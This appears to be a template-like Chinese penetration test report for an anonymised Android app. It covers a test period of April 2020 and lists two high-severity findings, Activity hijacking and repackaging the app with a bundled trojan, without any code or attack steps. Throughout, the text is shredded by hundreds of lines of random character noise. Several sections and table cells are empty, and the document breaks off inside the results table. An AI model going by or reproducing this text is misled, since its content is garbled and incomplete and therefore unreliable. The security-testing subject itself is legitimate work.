( Q/ g# f$ q7 k! o! l5 F0 d( F' e% B4 [
/ n1 t& {6 N% i2 {# }/ S 7 ]3 q4 c5 e6 P4 r6 {
1 E& h# G; N! X3 S" Q
$ j: h! Q) @5 Y/ p" o; P) Q
" i1 Z# l$ l4 ^
+ k6 q: {: l' W. E; n. P. ^) P* A7 X3 |
$ Y; X! @/ B& b
' z6 A4 _0 n+ _1 ?! J( f7 [7 Q 8 ]# x3 }5 b- ]- P4 E4 U( K
7 L7 [8 |+ U) b [2 P6 P1 B
文档编号:
/ f9 T& h& ~8 { `
6 B0 C( i% k& P: w
& k: u M$ w, p; B- {
1 j9 K9 Y* P- K1 u
: q! D1 H/ o/ A( E
* \, `: {% O3 y$ n& t7 ]1 _. @; l5 _ % @5 y# }7 ?) {0 z9 e, i. n! T
' ]1 D' S4 E1 n
5 i$ x5 m5 J) A, l
2 r9 p' Y' R: w% {( T7 W
6 x* r+ z! E; ~3 Q1 P4 Y* t" q( k. _' U2 Z, z: E( A
: U" ^( p) \; e; [( D) b7 ]/ y- S
4 K4 V, D' w8 `8 K' M% F @
/ u7 V5 s9 y& Z# j" z X* U) U( k E D$ b, D* Y2 t: Z! L
1 c3 K: H2 Y% {8 j0 f
/ G7 j, M. @2 a" ~9 F & C# D& ? r1 ]& b4 v7 z0 }
3 l/ X' [ u. A2 Q x9 v
+ c- L( E" M& g7 ^" m
, U0 o/ A7 B! W3 M: S9 [& v" ], A
$ `4 u& f/ T1 o4 m; {
: e! r$ V. L2 \8 `' K/ U" {
' y2 k! u: |* x6 A+ w" `- ~2 w. v
: `) L! V+ ^7 k* P6 K
7 B9 s$ x/ U6 k
* |* e# U4 d: s2 l0 X7 k: S9 a ) z- x* q* H* ]
' u& G6 E c; {5 N 6 Q+ K8 j$ G0 B
" ]# T% |; k3 ~! d# Z+ k
6 k5 X' b0 P7 H, \- `
/ J! t: l: a. R2 ~2 c- {( s % X9 } ?* x; E* Z. q+ f% S
) n+ C, r9 m) O6 C! s1 K/ _ 某某某APP渗透测试
1 Z- U3 E7 B2 _ z* K: d) S0 V- Q: ]9 ?- R7 {9 R+ ^
: S$ c4 Y" i6 e' j1 l5 Q! Q+ x, e5 V6 ]. t4 ]. T$ x5 \, S) B& r
$ L0 g7 y4 h; F. q
5 d0 `# I9 t8 Z1 `# D
3 f8 `' }! `0 a1 W! @8 m A$ R1 P( N
8 G9 y ~( d7 d/ a
$ Q9 \/ ?) b) j2 K- M
7 ?2 h- N1 w* ~4 Y I- V ; ~7 _' R5 z: x/ y. K3 Y& X
4 o2 g* O u$ z/ Q3 B0 W& v
7 _- u( r/ W! k/ c' O# r& i8 q$ N" e8 V+ m* ~7 A5 N
# A4 U$ F7 {' T4 y% |' J* }
" N4 i9 K6 ~: g( X# b0 d, P
5 Q- @ ^7 |0 [& K v. p
8 n2 C; C& i8 { , w8 Z: s" R( h+ o
8 x1 W) n% B6 }' _2 c; Z
4 b4 v$ E ]8 \9 P3 M( Q1 j5 Q: n& W5 b4 k( z9 ]' Y5 f
8 f8 h" g" i+ l2 `4 c7 u
' B, E8 _) \: @' B' o # S, J; c$ t9 o) x3 s) {1 i
2 J* ]/ n8 i, A1 `8 U5 n
! ~3 n. G9 ]' f1 R8 u
- V- G% I$ J8 ?8 |6 V/ X+ ~
' p9 C6 m0 _& }3 N! Y' b6 C$ I7 l4 R9 E, ^: l! v+ W8 S
技 术 报 告 " C% [# ~2 t6 A
7 P( A: H) n! @8 E7 E' @
& n% Q# `8 t# K
& W, |7 i$ `; y* j' g& g" M$ z6 x
. }+ c+ d+ \0 h0 W- A# D2 J- J# j, ]. w
1 Y* L8 z) j) G4 o8 K q( U
/ {" ?: f* Z# e1 @/ G
: Q9 ]4 _1 X2 m/ J( j* R, s/ b* I& V/ }4 ?
' r& [2 r1 \0 N3 L" D# L, D' e* \" o: @+ ^6 W( j; D& X
/ X% p2 y: s5 I( \$ T
4 r% p# c/ ?- M- ]' R
2 [( a( X9 S, f1 T( Q
7 b$ _( G' b9 J9 K7 V
" c5 F2 c E& w0 G# g& @: y
# x P/ H6 W2 e2 V6 z) V) q$ W " N6 r) j" ^' e: x/ J
8 J5 a, w' Z) g, B
6 a5 z$ J3 \, ?; f a
* |# F$ ~+ r; b2 q
9 {# U+ V& J3 }% c1 a5 @+ H* s) g7 Z' z) X1 l5 d( M
' V: O4 k' B' ^
1 I1 O0 `% |7 r7 h) S( v% b& m$ G
# U* h5 [: R5 g3 R) T
, [) S6 |# s( I" v* \; `
9 y8 h3 |1 ^; `3 [4 b5 i/ h# O, _$ w3 r7 J6 w& j% k
7 T6 V* N& C8 g
; l3 F9 q$ B: i
9 \5 t( l3 x b- h- b8 w: q7 c9 Q. K9 t9 D+ D
) H6 I' R7 t; P2 `
3 i/ k# w7 A7 Z+ |0 V' Z
! D6 [( u5 a5 Y' g+ M# N9 @& ^: W
# u; r8 `0 S$ N5 e0 c% e
6 _& N6 E9 F7 h; P+ U" i
2 x3 t" B: i: S
3 h9 P2 N5 i2 l3 y% x- o. z, j2 m- \! ]: T$ x
% J3 c) q6 v0 a2 ?6 w7 p
8 m! Q L: l/ Z m! T% Y- e8 I
5 v& K9 z/ G7 _% I9 `
6 j3 ]. Q8 e8 }/ C7 D2 ]7 y
7 v. r8 ]* P% n0 ~2 e/ |7 ?/ k4 |
& A6 K9 |! O% g1 P, y
8 l( ]0 @/ R5 u- N% H7 ?) z" N# Q/ U% X) ~# {& u' e( S
% _# P- h; P! M
$ G! { I) W8 v ( s& M$ W) [3 D9 b# Q4 q3 C" B- k
0 A. d/ v3 w" F4 y& Z
( s( }0 w. j: Z% \7 `
) r y9 I8 m2 ]9 L& R
: f3 Y7 J2 }+ d: i( I
& `4 r; ^* Y, D: O: {3 y9 n
6 {3 `7 S' g* \: a, [1 K5 \$ ~) [
8 |5 i4 C, i: K" O6 q3 C
$ m" L$ F2 |* J- ]. G( K4 T: t- r+ p# b' I( m( u2 W Y3 F
( H# E' Y5 }# L% L, Z; j( I
# J* E! B% C& j. `) U
) m8 z% x2 d( \# j$ ~! W: S6 X
6 k8 m8 b h0 c 8 I, Y: X3 Z. L" c1 \7 k6 Y5 i
4 b- c6 @% e6 e6 |0 R
% G H4 O) x& V8 M, W: e% V6 q& J
, M% c+ C9 O# c1 M* f
9 T5 c8 f9 d. r3 y2 T
3 [ Q3 |' l9 x- P/ G& d 8 X, D# C/ r4 b
! ]& ?3 D' z5 ~6 z* O1 O
# E. U" x1 S6 n, s H
7 s2 p* z, B6 u! ?' a" p # ?" y- g4 I- j5 q% n" g
! O; J% j$ c4 n' P
, c! O6 F0 P) }$ Z4 a
3 k/ C) [1 t1 a( R( E
& B+ N3 | R4 R3 K3 N# V/ W
7 C4 y# d$ O& N6 I1 E" n7 u
# }) s0 F3 K* o% p
& t& ]3 s3 l; k% B2 _# G
: |% u( t8 S# R- O4 t
. Y" ] X, T' T$ N& H4 J
' ^5 Z: {" w4 [1 a
9 v" X. C: \- O& t) b3 C
' M0 e8 A0 U$ z8 ]
9 H$ C- s, e4 l) z; O! ~0 X* h8 y
. `! b0 E5 m, c3 ~1 I1 M, Z- z% S, ~7 D: Q
' i( N3 J# e4 K5 ]( _2 k4 k9 K7 {; g$ ?9 N4 X
0 M3 S% v4 }. N( k: e& e8 C
, U* k) t" ^) c) Q
M9 N1 }, {) k; s
( m3 g7 H4 T5 @7 O
/ k$ R( r% ]* c$ R" t6 M
) s) a& n. {8 ~+ v" X9 _ 9 J. K4 B) a$ P" ]
+ q! l" ]# \3 Z& p& g; U ! M M. J) U) m, g
1 B/ ~4 ]' c6 G8 F3 {+ r8 U: ]7 s
* P2 y5 P3 i+ o% E7 ? L/ r
3 _; ]! {& n( d# i* t0 t / B7 Y- G- q. ~: S
* e, T* [" ^% u% E' o% J
: h8 j3 h, D5 G& W: H+ l4 P
* ]* [. Q6 t' B" ]4 t8 o
# |# y n2 l# G
: h7 q# \4 i4 Z7 k) G2 Q
. l" c9 w4 E c: \; ~) E; ]# q. k% b0 ^ T& X W6 W$ x# W: r
二〇二〇年
$ m6 a# w( d1 j) t/ x/ G- o* f, l: n' [0 N
/ U3 z6 f9 p( [' z9 g( p
! O& v( J: ]& j% J& X" Z3 ~0 y
( p: Z5 |8 q# i, I. B) A, V4 r, G4 L3 x
% F+ W5 l0 B% c: R; P' H8 s
3 v; {5 X. _0 K
& y2 i2 K" t, m( E1 D2 z% [1 O
* n& l6 \' z. F0 C0 A6 \
i1 ?9 n1 ?: i7 X. b# x
* Q( P4 j2 N2 y7 X" n" o* o
( P! \, A- x% ?: w5 V; W# `
0 u& _3 P! @* N! A3 z0 K$ f
9 \+ Z/ A) ]$ J4 u
7 U% |/ R7 W( ?
, D+ ^! L" z3 t$ F& _2 r8 y; _9 I# h$ u1 D
" x7 M4 K' J( Y
- ~) k1 v! t8 A4 \- D2 I1 Q( D# w
% E2 f& }6 e& g
& d& Z# r( V; P3 ]' a" k 目 录
4 J- u0 Q/ |7 F+ h9 C# F1 S& a! [9 C1 |) N2 R2 z
( H+ ]' K9 ?: s2 O9 G
, x8 W! ~0 _+ n/ X 1 a$ z: M2 x8 c
/ h% I0 M0 n1 _ n: W1 H# l
4 v; L$ |- ]) \; f; n5 R% w7 W4 A% Q8 l
3 i, w* _3 k/ [0 q2 L! e1 O 0 F; h0 M5 B6 ~) U w6 d4 D# z
% d! S. X* o/ q7 `6 F* ]' r+ |" s
1 I& e0 x2 Q+ j3 l& |7 v
" n1 y8 K' T& m ~! b$ V5 z
* e @1 w# |$ s: k% l$ |) @+ |+ u5 X9 j
1 概述... 3
4 k4 b1 Y0 ~$ u- M' p5 H# s4 Q" U* T2 h8 p# A- E, Q- h
& W* y9 n: Y! ~% X/ \# E
* G. J" n) u, |1 w/ O0 Q
) P8 u' {2 B" b8 Y6 j# O( c$ ?1 d. R- _0 l, ^% ~' f- u1 E4 k( P
1.2测试时间... 3
: o' O5 a: q% m" [
2 D0 m0 c2 a8 k. C$ |
. b% }4 N& ~) s. _0 e4 g5 Q6 Z: f4 [# n) r8 j, m
; L( ~# h* w6 y4 x9 [; q
+ B# F# M% t! i 1.3测试对象... 3 6 [% a! X$ m- J( J# n1 Z
. Z# J/ o% k, Y, E# P+ s; h, ^
& M# S2 f( _. t o. z
) @+ g7 M3 v6 a
E$ d! U P5 v( A( K3 k' X
6 E- T% E: G* n# e# ]& E0 m3 n" V 1.4测试结果... 3 8 t/ _8 z3 O) V, w w
) S( A8 u/ u6 o+ G, m5 o" _5 {: `
/ l7 T( U2 {" C9 b7 c8 N& F( P& X3 l. U; H' l; m$ |; n
$ z& T! S. C0 F/ w ~ v m4 s3 h x. U/ i
2 检测结果... 4 * h; B1 y, B2 a U% G
! r4 g8 b2 p' m# }) y
6 L% r8 X' u# _$ O) I
% G, B' U" x z, s) {
! H" y5 O+ b' ]: U; W: |5 D# M3 [/ }. i8 P
2.1 某某某... 4 $ ~6 E1 A* _1 R) j. k# @
* e8 H' T$ Y, Z1 Q) B
5 Q: M6 W- {" y) T* U# |
; I8 ~( q# V/ {& L3 z- x
1 G5 a2 y2 b+ b) |" b9 u3 v; Y& v4 C5 n {2 H0 Q
2.1.1检测目标... 4
4 `, y+ |5 B# U$ D
X* ^9 t0 x4 o1 t# w1 ~
' S0 W( o2 {- A! }8 w h" t( v
4 S0 r. H5 D& I( [% n: I
2 W$ L# f' O, o5 {
6 ~7 X' d$ C' g7 | 2.1.2检测结果... 4
s; R' r T( p& q9 y& m0 ^4 p3 F" c
7 f/ ?5 _4 ^9 P0 r9 `+ M
" m4 u1 W# F5 R6 \
$ `+ K+ q$ j0 V0 L s7 l
* D2 P7 |" ?, j. { I+ I* t1 C$ k1 B" x4 P: C$ t7 t
2.1.2.1. 4 3 t- F( g: i5 d- M
: ] @) p8 L( O; ?8 t" F
$ E5 x: d0 A" ^. t
$ j0 b/ H7 @% |# |0 C. R- W0 s
/ `" [. T$ S5 V. X
, V* S! o) |- c! N( S- F
2.1.2.2. 6
7 }3 M& X; b- I$ {/ q- ?) A& V! m( ~
! E1 p- ?/ W( A* D! I5 P( Q
I/ ^% ^/ e/ g5 R; E9 b/ \8 @
5 z) v: ~2 R1 W! M6 i: B9 ~+ a b( T% y9 r1 T7 j; B: @
1 U4 e2 L- \! D+ P2 I% t
2 v4 }6 E5 Z" J8 R! o
, \, M: e0 X# w1 k6 `' ]! x
2 M! v3 Z$ i: p" A
- s) ~) V+ Q! s8 m
% q1 ~1 r i/ W5 O% [" e6 I+ @ : c' a* H0 M& |0 ?( ^& G3 c+ ~
# _+ w w) ~' ^
* o$ H) X6 A, \. J6 Q+ m2 V# E* P
3 N! d8 e: r2 `1 F4 y
* |- A- }- u2 v7 |# A1 }5 I2 _4 F! M i! A2 r. s
+ G" u2 k! e# J
* V9 _! u! G1 d& n 1 概述 5 \% V& H8 o5 _" V! V1 r1 {
0 g) D. W) W1 z. B+ P% H; [
& J _5 [; t( U+ p7 P5 V% c+ ~; }9 ~9 o- R3 v! K' o
' ?' ^% |# L. B1 ~2 T9 \2 [
, d* ?- f, N9 Q' T' | 1.2测试时间 , ~8 B- l3 t3 D/ @& L" t7 v9 x/ D
! @: _& p! s8 ?; |$ O$ E
" c9 f) t( A& n( G+ D3 c
' O. g1 g: u7 G+ R; G. h9 Q w # S0 o( g+ P+ u
& S2 G9 @" ]" `3 f% a ( u8 S( F& [+ |9 a" R6 ?& G
7 `$ M4 D2 U. ?6 J- p( ^' `4 C& C1 I
; I; {$ `) f( e) Z" X
9 h6 r0 a. P6 x) s " Z7 M o4 S9 {/ ]
& Z+ k; n0 C. X
7 e2 q/ L V1 M5 l# g4 Q& C& u4 z* C* \, Y" \2 `" w
渗透测试时间
; l9 n7 Y) _. t! X5 l' k" b! U) O# |. U8 J% u4 u0 W. N
0 w- P; r% g# ]0 a; |4 V% \
& P6 y# c$ }+ V$ H, S |
3 Y3 A6 b! l7 |- ?( Y9 z: i$ p; P1 |- {# }2 _6 N6 M
/ V P1 j* m; i0 A; ~& ~8 [# l: ?: Y+ m9 Q. E$ T$ ?
$ P7 N- m" v# d* M, U+ k/ [2 n2 |3 t( p& H2 Z: ?% P+ Q# p+ _
K! J7 e4 `+ u7 C/ p
/ T+ t3 n ]# X" m2 ~6 q# Z
/ @* z. j4 v# V( n" ~1 d
/ v7 }# [6 ]0 }$ X) Y 起始时间
( b: x) f, c& J! Z6 D+ T2 j& G9 ?
/ _6 q5 f. R0 B% X0 x
# @1 }8 H3 m4 @$ p/ Z7 K
4 _6 U, k, [9 |' o. k | : M) _2 s& J7 k1 ?0 s
/ v4 m0 Y" y/ L A1 A
; I* G7 h4 p3 N. R
- v: g/ R3 @7 H G - x9 ^- ^+ {" H( d9 k) b- i5 `& @
! P5 ~/ Z; j; ^0 m 2020年4月6日
) i! `/ w* H- M) c
4 w& }! w+ _" T9 e q) w; m4 ~
8 p" A* v7 J ^- Y# B4 x v, k7 {2 g+ }2 b
|
+ ]0 o8 x+ T% S5 Z& y4 W' Y" @4 J8 h& b/ [* y9 J+ r: T8 f/ P
. u% E H2 m$ }/ a3 T2 V( Q- S
- R% _4 w8 z3 q) ^/ ? ] + m; }" a5 I* E: l* d. v! l/ u
5 }- u4 M5 F7 J, k6 W
9 ?9 @- E4 }) T* X+ r
+ q7 f7 [! a4 { I7 W ! n: s4 f' v2 W- [0 u* C0 C9 }
+ z0 T$ U. d+ w6 H' d: { 结束时间
- `! W% |/ L7 `5 B3 M/ c/ P' Z& ]" W0 B0 z/ {+ I) @, O
% x' f" W X; r. y
' y4 P9 m, q% E) Y, ~# T# i |
l7 _6 A n8 P5 G/ C$ S
. o' l5 U) y) z5 E
P8 f: G; z1 V% [* t" k- t6 k6 Y# L3 j7 n) t
. U. B: Y* [. I/ ]
- G: ]; w0 b) ?* ]* q$ O 2020年4月9日
* U4 x5 u; H4 @: g* d$ D* Q/ {* ~$ f. L4 S
9 k+ x0 i( t! U2 u$ r. f( d: |
, Q, F3 U9 n7 y |
! Y5 }: I4 i$ j( C% [7 ~- \* t! D: x/ F; z! ^
+ x0 @7 Q) Q# C. A6 K/ N
- ^9 C7 ? ~9 X( l0 ?
; i" [- O9 {5 L0 W+ Z! h
" [, }' V/ p9 [9 B+ x
. Y4 k* x: ?1 d# t# S6 m' M, U9 ]& w! y$ j4 s; U2 P/ Q
- ?8 ?2 R& _4 c* Y( d) \2 f! s
: k% M9 D( m& g
1.3测试对象
" Y7 _7 g6 R2 R( @. }* @+ F9 `$ Y4 U! U! K
! o! e) A$ _1 |8 n9 z. x( @" q# L: V
8 |6 Y. N) O4 P2 V* A- k
# `$ j# Q5 W9 W: ~) C5 M" v
) F5 ^2 C+ O# c3 t4 w" M% f 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示:
: S) r* g. C: P8 \5 i/ v! F# n3 W% V% L" D5 U1 d/ Q( O/ H+ a
$ a2 }3 Z+ Z4 ^5 m: d3 k7 t; O
/ w# i5 Y& Y6 @( t, }
( g' z @9 V% Y: B
/ S! {1 B# z- T7 C 表1-1 检测对象 * P9 d7 @5 k$ M/ {6 F
, R1 i+ h: Q; a6 O9 H/ Z' v
9 s! D9 W$ ]! f+ E) J
3 s* y+ f" a6 w' E& y( u - ]( J9 Z8 g5 W$ P1 r
/ M$ K% [( j! L0 t. h$ e! c, C
6 s* J$ v2 R C+ C% f- S
7 m$ N( T. T& ~, l, X
* m0 n0 L! R z2 U0 t+ W3 r) K" A
/ n$ R3 S- `- K 7 o; w' V2 s* D0 L, w+ L
. t* k5 w: X8 R G G) k# Z4 l 0 v: U; d# e# D1 m4 V8 c' a9 r
2 L2 U s* Q# j; W
序号 5 e2 ~) _: i/ ~/ R9 Y8 Q9 c. N
' j0 ]8 A5 b( Q) K& B0 H
' j, O6 {! p7 @) L1 a. W
/ [5 Y. @+ e$ R _% X+ _3 g# }; b" Q | 4 T* |1 V! b( _2 R2 l' u8 g+ F) {
' m6 E2 b- |+ A6 b; |
) z' H0 S2 @1 ^/ Q+ ?; W
5 V& S" z0 h, l& V % i/ }0 F+ @; R- J6 F/ `
' b" H3 t3 }* e/ K# q. B% C6 g9 h
测试对象
# T, e" \- ~ L# T
4 T9 }! d& b- U: a, B2 P . X3 _. l: o# v1 |8 ~
* E* v- v! A- j$ F0 G+ [
| % r$ n1 N9 \2 J. Z- m0 V* V
8 g5 z- F4 a) m
9 a+ r( B0 \1 y ^: F
, P( ^; v4 @5 ~7 k7 N- L; w: p
( T- V' \+ {, i" B R6 d: Z: ?0 a7 u% N7 m7 l }: |4 f
测试地址
( ]; b( v3 U* Y6 [$ s7 [, O- S1 c
4 A0 L6 m2 M p8 O# _6 H / _6 l% T" j0 L# T1 J
/ B& O( I% Z2 ^) z6 v8 t |
; @) e5 f2 o" s% E w( U, q( [. T6 m
/ X) Y3 L4 h2 s+ |) \9 t( }! ]7 k! x1 U
( g( [5 M; B& g! N' h1 x
" i! L, q; c. ]( Q+ P u! l9 E) C: {& ?/ ^% x( |; M0 q
安全漏洞 ! Q$ w9 U7 e+ b. O- h$ w3 j
9 Q( I+ q. m- D7 M- ^- W7 T- z
% H# j% _; S) Q* ~% K, E8 P
8 d/ R" y6 L% F |
4 J; t5 U+ H" J- U7 W
! [& h4 D5 M; J$ V" I
2 `3 ^9 A1 s* r' }5 O" I
; ~0 P6 `9 ^5 z8 X3 q6 Z6 m
2 s) L _) }6 G7 ^( J5 [
( e C9 z0 Y+ o) S% R( |0 i ; O$ {8 r5 k- M( E+ n+ r
5 C) H. C: ^! k9 z- Z. B' w! a
, t: |/ M5 M6 T# ?6 |" Y/ y& Z
1 F' T/ }- T0 |+ G 1
$ F$ |3 p3 P) ~! a( G! N# D7 a7 }) p$ G
0 |! F. m/ W* ~0 h( I0 A
+ p& _. m: U) x; w, f
|
! i- C% ^1 J8 e/ w1 n2 A* f4 k V0 p6 u$ e4 }
* {! t+ O% g" Z
1 G! Z: i! T) E# l% Z, @. ~$ m% S
7 W3 Y- \0 M+ ~; Z8 x( h) l0 n" \% j2 }& n6 U6 }
某某某安卓APP ) y0 Z% e! N. T; j
. v( H3 x. o4 l' _) l& U0 P
0 p( r* c! f, m! X* b: U
6 {& U! g* u6 w, E8 ]7 |2 w |
: m$ ~8 K) \% Y/ e2 v3 h7 C) }% X8 m
3 h4 O& S8 l1 h9 h7 Q- I! l. l- c/ [& m1 I; X8 s' p' i* }& M
# q$ s# I4 ~: p
5 }+ U: S) n. ]( U% W# [2 q) v6 P
8 }1 O7 w9 `/ G2 P% W
, P7 h+ { ~) v6 W! t$ E/ O
! j3 }; y+ n6 b/ ~6 ^1 A, N/ U9 Q& n1 R" [ y9 a' B; j
|
+ T( I) Z1 K! `$ ^( `, j u' e) P% T
7 E8 b% W6 _1 N5 ^6 \ \! Z A, l5 C [" ^
6 E& _' a& }' w& E7 K0 Q* [( q0 C
: H5 P( @' `2 w2 r& M 2
$ b1 ?' L' d3 h8 C E" Y8 \& B/ t4 h
) b9 `" K) _1 E% K2 R* h 3 d$ j+ ~6 ^0 c) l9 P5 J
0 F0 P# w- W( p
| * Y) A% Q! t" z: X+ S9 O
/ |8 S$ l5 ^. {& V5 J
) a! U, g! x4 g" r$ o3 F- y' l. u& d% e9 s% Q$ d Z# i5 Q
1 Y6 w# c: C8 s4 J& w" g+ ]
8 d" {2 \# _" W
' `! ^( D K" S j+ I! A
* C/ q& ?! s" a- C% M7 s5 h7 x# v
1 O! ]+ |5 T* ^- H/ i0 E. | k+ L- y L8 \
1.4测试结果
9 m# M" Q' I$ w! m2 O H8 d+ S0 S5 W0 e% B7 R5 D
9 C$ v% s4 F0 q! X# e
% u# y' }% ] h5 T# B + c( y) v, t3 w. ~# U0 j
( v4 c% Q7 A8 D. T- K t8 C) f 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: h! b$ ~+ r& Z' p) q7 u* X+ N
! o& e9 l: r# b; m& o7 I
* M. m& `! v- I3 t7 F
1 G& u$ J) Z6 t% c* @
' R1 w- l, p; i8 Q9 {# z. U: v0 D( g2 L9 Q8 b. R
7 ]# d2 v6 _7 r8 n
: [1 x' X9 d5 U% {; W- p- v0 W
2 t8 E$ i; p- _4 J
, f+ i; Z6 o( R
1 x! \; j! k2 t3 O6 T. n- {# v
# x- _/ C) Y; ]. ~- H* N
6 O$ n4 h+ O, l- v0 @" e; w5 }% Q7 y$ k
& F* H* m& [0 {8 Y% @. ^
0 T" B5 z# u! Z% G& B+ u1 ^8 p . b0 Z9 y% E# A! [
' A; y% Y3 z( K9 P3 s. m : |4 [) Z: |$ P4 |( [% I
2 M3 \2 h. p g8 b# Z# w
; I) y" D8 T% j r4 M: O3 B
! q& v7 I8 f3 G; T# r4 R: Q$ v; [; {- L
序号 & h' A4 T& t, \9 g @
0 J4 e. a% j- G( I1 G- J( l1 j
0 D- O& [+ { Z; A0 ^' ]- q. P$ Q
' U- e8 I) f% f Z; ^' d* n |
! `# \* s6 {7 `( U0 T3 K n: p1 E
9 H, B ^8 J$ A4 T& c " X" c: _3 j7 z* O0 T$ |( w, y1 _
& J2 Q8 J) }" b; n- l
( P d0 ~& a8 y$ [4 C5 l4 x
2 c4 \1 M* ~ B R8 e 系统名称 1 t8 v" S$ l6 D' x
2 }! y3 `: _ n2 g, s- h # q8 ?0 U" o. b1 q
$ z; O E% V( W5 L9 V
| . ?! X- m' N6 `2 r) j
/ Q; k* o9 M$ A8 A4 y
' J# v7 Z6 W& @# w/ a& }3 z3 j. b, O% E4 x
3 \4 g! ^8 y; k6 I
+ A* {' t' K; Y
漏洞名称
2 Z w7 W D" ]7 T! d' s4 d
; p6 b9 G; G8 Z" e: R% A ! ^7 x, ?7 E% w$ p0 T: k* c" @7 H
. O7 v' {8 s5 t* j- Z t% u, D/ Y | ! d# p# \1 E8 l. W2 K4 y
1 w. i$ B" Y; j' e9 s# \0 h
2 y/ `( B) y" d O$ Y0 W" `- t$ |0 s. y5 F# _7 U9 M; |
- U. i: u7 U0 a) i& v& {/ w& [* d8 F5 Y7 D
漏洞危害
+ |- K$ Z/ P7 e* d( D/ A% z: ?6 |, i# C* q
& F1 V& N3 s6 l9 S1 J7 [5 E# O* |
: K0 j/ q1 `1 h3 ? | 0 z4 c0 d6 P5 s, l5 n3 a
5 F; M% m) w% t) N" l9 B7 f, n 9 T i) y& b5 M) F; x! _2 x( F
E+ i/ u, @$ H+ P9 A* Z. I# T 3 _. E# f, Y+ H# ~# V# w: W; W
. E! A! o) G$ Q9 J5 ^
修复结果 2 A) u& \4 @9 V% ` X
; `/ H9 ]* K$ K' B / \9 }3 k3 I# W; c4 k
x9 q% X s1 Y7 G p. `" Q | 0 B) N7 k& t; W& w$ C: }) u
. O. k* {+ m. }) r0 i+ |- p5 v' d7 U4 ]
% q2 f4 |! A) d' \$ E7 E
1 }/ u6 O; d4 G7 P% @' M6 C * c: C$ e9 n, R. W# m+ P
; m% T% i8 m! d" y- K
! I: u% |& G0 x
" m: B0 B3 p( Z; T5 M+ Y
# `! `0 k& K) U8 ?) f) V# E8 N/ `6 N& u5 e5 x# G) e0 }, l( c
1
+ T$ q+ D' w% ~0 m2 H# }$ [. l) _. k$ g* d+ w7 m
: {) Z/ n2 ~! V8 o: Q
" N9 Q3 A/ Q& W; ? | 6 ]1 H% l8 b! | N6 S0 L3 f+ J
& L2 ~/ `* ?" V4 c
6 Q2 S. e% y1 l2 L& p# o4 }1 D9 |& P( d! J
! ]# U2 r- ^' k" i/ R* P) p( ?& {
8 v4 r: L$ A" @# K0 Z 某某某某某某APP 4 H6 o# ~( u+ d/ U6 w
0 O; @: n3 i7 T; w8 s' a
# p+ J; j" m' ~2 L
0 L1 s- e0 r- a2 W K2 J8 O |
/ p o6 E" @( w, I% a; C5 C8 Y+ y+ @! Q
8 T) l+ S% D& {: M' F$ _+ ` - i/ f! x4 M6 v- _# d
$ l9 W5 a' N7 i2 q. l! A P
+ l6 ]7 V% { g4 w6 [
1 C9 }. l' C$ L
Activity 劫持 5 p7 y: [' m/ g/ I: d- q
O( _0 j: ]2 @ 7 M! ~9 I h9 Z, q0 n3 i
0 v% I) N- r9 D, V9 g4 O
6 Q6 Y9 L, P9 i$ B
. E% z. f7 Z0 E+ w8 y, I B
7 K; @$ v9 t& t, ^$ L4 i! d- ?
& a0 |' L1 s! y ; }. `5 n; e" S! g: L& ?; G% g
! ^ j9 c% s1 l% P$ Z, U+ t' @ |
5 O- G& N# I" Q' ?9 X6 ~5 k/ u% a( z: O6 ]5 ]# q! ?
( e$ h3 Z( x0 a' @( W: Q( P
: R3 u# u7 K, n3 T) u8 g$ h! K
- F7 h/ P/ q2 Q+ s& {
$ W8 A+ X2 R! a9 z( }. b 高
' U: j! T6 [% @# \7 n( l6 r
! D% B3 a# i$ _ & c% i* d3 h; Z# t A Q; E
" r% A% x, U0 J% R
| * S$ ^1 Y1 W, Z% ]( d' X f
! _" ~& `( f1 [) m% \8 g6 P) ^% k0 F$ y 8 X" `$ l% m5 H/ k6 w0 U" c
0 H. |9 n! y: |! L. E( ]6 A
& p8 D4 A( M& D
. v! [7 A+ t1 |& S h j6 F* a- S) E
5 {$ X8 u. o/ A" R
M t& i! w" ^9 E. Y/ m
) z/ k8 e( Y; F# O | . e; x3 z$ k3 p# @2 @6 P
7 i' X7 y( }$ I7 X/ j* {" C
, @# n. y* h# s! O
, Y- `4 t. z+ x/ S
4 ?5 N4 b# V) p7 @* ]8 [6 I: L' r6 s! d: ]
( b, m# o% G3 `. _5 z; ?, N- X
" A& B8 m2 x3 y$ Y " D7 X4 Y% F3 `; s. v# L' b1 }
- }% s5 s1 g, t9 s1 E
2
$ A* s& e& Z/ X& B. Q4 w& v+ |3 W0 K! Q; G! n6 ?
8 r9 _0 j4 Y, I7 ]- l/ l) u
6 R! @7 a* ?6 W+ a' k | 9 `8 f/ S; j+ Y
5 \& K" d# K" W& S& [7 c
8 M. f) y3 M- ^- b: k
: G9 j* o1 q8 k; a
1 l' Z- @; ?; g# F5 h
# c8 [/ @; u. |% H) V 某某某某某某APP / Q9 m* \& `3 `4 K; E# O
# a3 s+ Z0 Y2 D# F$ ?; P1 x; m
7 ^$ ^% I) \! \( h1 c4 z% U+ H, r) O% N& V) f
| ( @: j( n1 v1 ]$ A/ ^ p9 X
0 E) c$ y* @! C7 ~
. x0 c+ j! f( a- N! D1 S
- ?5 _# J C* k& e/ U 5 _ }+ b o2 Q" G8 ?
. o8 |9 K% `- x! }, T; z
反编译二次打包捆绑木马、篡改APP代码
0 e% T' G0 o c6 }6 G8 g a
' ^+ {3 T5 c3 c- E
+ {0 n6 ~: Z0 e
% {& |- D. S& I | . A7 z+ f( S T" i( q( q1 D" g
6 Q( b. D+ S S" D) `7 v" k# ` : o( j7 }! i$ A7 y6 j! c
- p$ x* W# z! E% H) U ) ?$ E0 `# z5 B1 U Q
9 {* i, K# J! T; D4 W/ b. W0 S2 g 高 ' k5 @# x+ Q h. k5 R
[8 ~% W$ \* T
5 i0 [4 }! v |4 X/ S; w% x* U+ v7 w2 m7 z# s5 P e5 |
|
, b( q! p( E$ ]/ j3 C: J, P; N2 R& o- q+ b3 [7 P
7 G: O5 s% L: G* ]
3 A. a5 ~6 W: g2 Q. k( E
k) H0 Y6 V/ t" d8 B
% U- h" [! \7 C, r# g% U
- e0 k1 ~1 F0 a4 W& K8 B# |; }3 \$ T3 Z$ ~
6 n, R- O i% n- E8 r
+ a6 U2 A' A! \ |
$ V2 s6 I4 T& C$ D. d( T9 a% ?* w A
$ u3 u9 x6 I! P6 W5 ^- t! l% D$ l4 i
6 I9 e j+ w& m3 i: U9 [6 w. e1 I; e
